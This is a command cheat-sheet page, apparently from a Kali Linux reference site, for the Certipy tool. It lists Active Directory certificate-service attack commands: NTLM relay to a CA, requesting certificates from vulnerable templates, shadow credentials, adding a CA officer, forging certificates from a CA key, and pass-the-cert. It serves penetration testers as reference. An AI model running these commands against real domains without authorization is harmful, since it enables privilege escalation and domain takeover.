← All Kali Commands
🏰 Active Directory Certipy

NTLM relay to CA

Certipy command for ntlm relay to ca. Copy the command below and use it in your terminal.

certipy — terminal
┌──(kali㉿kali)-[~]
└─$ certipy relay -target http://CA
Tool
Certipy
Category
Active Directory
Purpose
NTLM relay to CA

🛡️ Usage Tips

  • Always ensure you have proper authorization before using Certipy against any target
  • Replace target with the actual IP address or hostname you are testing
  • Run this command from a Kali Linux terminal or any system with Certipy installed
  • Combine with other Certipy commands for more comprehensive results
  • Pipe output to a file with > output.txt for later analysis

🔗 More Certipy Commands

certipy find -u user@domain -p pass -dc-ip DC_IP
Enumerate templates
certipy req -u user@domain -p pass -ca CA -template vuln
Request vuln cert
certipy auth -pfx admin.pfx
Auth with certificate
certipy find -u user@domain -p pass -vulnerable
Vulnerable only
certipy find -u user@domain -p pass -json
JSON output
certipy find -u user@domain -p pass -text
Text output
certipy shadow auto -u user@domain -p pass -account target
Shadow credentials
certipy ca -ca CA_NAME -add-officer user -u user@domain -p pass
Add CA officer
certipy ca -ca CA_NAME -enable-template VulnTemplate -u user@domain -p pass
Enable template
certipy forge -ca-pfx ca.pfx -upn admin@domain -subject "CN=admin"
Forge certificate
certipy ptt -pfx admin.pfx
Pass the cert
certipy cert -export -pfx admin.pfx
Export certificate

🏰 Other Active Directory Tools

BloodHound Kerbrute CrackMapExec Impacket Rubeus2 Enum4linux-ng
📚 Learn Kali Linux — Free Course